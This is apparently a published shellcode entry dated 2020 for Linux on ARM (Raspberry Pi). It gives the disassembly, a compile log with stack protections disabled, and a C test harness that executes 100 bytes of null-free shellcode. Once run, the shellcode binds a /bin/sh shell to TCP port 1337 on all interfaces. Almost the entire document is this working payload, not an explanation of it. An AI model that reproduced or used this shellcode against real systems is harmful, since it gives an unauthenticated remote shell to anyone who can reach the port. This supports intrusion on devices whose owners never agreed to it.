# Title: Linux/ARM (Raspberry Pi) - Bind (0.0.0.0:1337/TCP) Shell (/bin/sh) + Null-Free Shellcode (100 bytes) 
# Date: 2020-06-09
# Architecture: armv6l GNU/Linux
# Website: http://www.theanuragsrivastava.com
# Author: Anurag Srivastava


/*


bindwala:     file format elf32-littlearm


Disassembly of section .text:

00010054 <_start>:
   10054:  e28f3001   add  r3, pc, #1
   10058:  e12fff13   bx  r3
   1005c:  2001        movs  r0, #1
   1005e:  1c01        adds  r1, r0, #0
   10060:  3001        adds  r0, #1
   10062:  4052        eors  r2, r2
   10064:  27c8        movs  r7, #200  ; 0xc8
   10066:  3751        adds  r7, #81  ; 0x51
   10068:  df01        svc  1
   1006a:  1c04        adds  r4, r0, #0
   1006c:  46c0        nop      ; (mov r8, r8)
   1006e:  a10e        add  r1, pc, #56  ; (adr r1, 100a8 <struct_addr>)
   10070:  704a        strb  r2, [r1, #1]
   10072:  604a        str  r2, [r1, #4]
   10074:  2210        movs  r2, #16
   10076:  3701        adds  r7, #1
   10078:  df01        svc  1
   1007a:  1c20        adds  r0, r4, #0
   1007c:  2102        movs  r1, #2
   1007e:  187f        adds  r7, r7, r1
   10080:  df01        svc  1
   10082:  1c20        adds  r0, r4, #0
   10084:  4049        eors  r1, r1
   10086:  1c0a        adds  r2, r1, #0
   10088:  3701        adds  r7, #1
   1008a:  df01        svc  1
   1008c:  1c04        adds  r4, r0, #0
   1008e:  2102        movs  r1, #2

00010090 <loop>:
   10090:  1c20        adds  r0, r4, #0
   10092:  273f        movs  r7, #63  ; 0x3f
   10094:  df01        svc  1
   10096:  3901        subs  r1, #1
   10098:  d5fa        bpl.n  10090 <loop>
   1009a:  a005        add  r0, pc, #20  ; (adr r0, 100b0 <spawnit>)
   1009c:  1a49        subs  r1, r1, r1
   1009e:  1c0a        adds  r2, r1, #0
   100a0:  71c1        strb  r1, [r0, #7]
   100a2:  270b        movs  r7, #11
   100a4:  df01        svc  1
   100a6:  46c0        nop      ; (mov r8, r8)

000100a8 <struct_addr>:
   100a8:  3905ff02   .word  0x3905ff02
   100ac:  01010101   .word  0x01010101

000100b0 <spawnit>:
   100b0:  6e69622f   .word  0x6e69622f
   100b4:  5868732f   .word  0x5868732f
pi@raspberrypi:~/hex $ nano tada.c 
pi@raspberrypi:~/hex $ gcc -fno-stack-protector -z execstack tada.c -o tada
pi@raspberrypi:~/hex $ ./tada
Shellcode Length:  100

*/
#include<stdio.h>
#include<string.h>

unsigned char shellcode[] = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x01\x20\x01\x1c\x01\x30\x52\x40\xc8\x27\x51\x37\x01\xdf\x04\x1c\xc0\x46\x0e\xa1\x4a\x70\x4a\x60\x10\x22\x01\x37\x01\xdf\x20\x1c\x02\x21\x7f\x18\x01\xdf\x20\x1c\x49\x40\x0a\x1c\x01\x37\x01\xdf\x04\x1c\x02\x21\x20\x1c\x3f\x27\x01\xdf\x01\x39\xfa\xd5\x05\xa0\x49\x1a\x0a\x1c\xc1\x71\x0b\x27\x01\xdf\xc0\x46\x02\xff\x05\x39\x01\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68\x58";
main(){

   printf("Shellcode Length:  %d\n", (int)strlen(shellcode));
   int (*ret)() = (int(*)())shellcode;

   ret();
}